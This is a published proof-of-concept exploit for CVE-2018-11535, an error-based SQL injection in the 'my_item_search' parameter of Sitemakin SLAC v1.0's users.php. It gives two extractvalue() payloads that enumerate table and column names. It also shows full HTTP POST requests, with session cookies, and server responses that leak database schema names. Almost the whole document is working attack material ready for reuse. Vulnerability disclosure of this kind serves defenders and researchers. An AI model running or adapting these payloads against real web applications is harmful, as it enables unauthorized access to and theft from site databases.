Sitemakin SLAC 1.0 - my_item_search SQL Injection

# # # # # 
# Exploit Title: SLAC v1.0: Blind SQL Injection / XPath Injection
# Date: 29-05-2018
# Vendor Homepage: https://sitemakin.com/login-script-demo
# Exploit Author: Divya Jain
# Version: v1.0
# CVE: CVE-2018-11535
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # #

# Proof of Concept:
        ////////////////////////////////////////////////
          SQL Injection in "my_item_search" parameter
       ////////////////////////////////////////////////
    
	# Affected Link: demo.com/login-script-demo/users.php
	
	# Parameter "my_item_search" is exploitable using xpath injection
	
	# Payload 1: 
	my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -
	# Payload 2:
	my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -
	
# POC 1 (Result: Table_name)
/////////REQUEST//////////

		POST /login-script-demo/users.php HTTP/1.1
		Host: sitemakin.com
		User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
		Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
		Accept-Language: en-US,en;q=0.5
		Accept-Encoding: gzip, deflate
		Referer: https://demo.com/login-script-demo/users.php
		Content-Type: application/x-www-form-urlencoded
		Content-Length: 171
		Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
		Connection: close
		Upgrade-Insecure-Requests: 1

		my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -&submit=Search

/////////RESPONSE//////////

		<form method="post" action="/login-script-demo/users.php">
		<select class="new-url2 form-control" name="my_item">
		<br />
		<b>Warning</b>:  PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
		<br />
		<b>Warning</b>:  main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~access_level~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
				 <option value="all">All</option>



# POC 2 (Result: Column_name)
/////////REQUEST//////////

		POST /login-script-demo/users.php HTTP/1.1
		Host: sitemakin.com
		User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
		Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
		Accept-Language: en-US,en;q=0.5
		Accept-Encoding: gzip, deflate
		Referer: https://demo.com/login-script-demo/users.php
		Content-Type: application/x-www-form-urlencoded
		Content-Length: 175
		Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1
		Connection: close
		Upgrade-Insecure-Requests: 1

		my_item_search=1337'and extractvalue(5566,concat(0x7e,(select  column_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -&submit=Search

/////////RESPONSE//////////

		<form method="post" action="/login-script-demo/users.php">
		<select class="new-url2 form-control" name="my_item">
		<br />
		<b>Warning</b>:  PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br />
		<br />
		<b>Warning</b>:  main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~id~' in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br />
				 <option value="all">All</option>
				 
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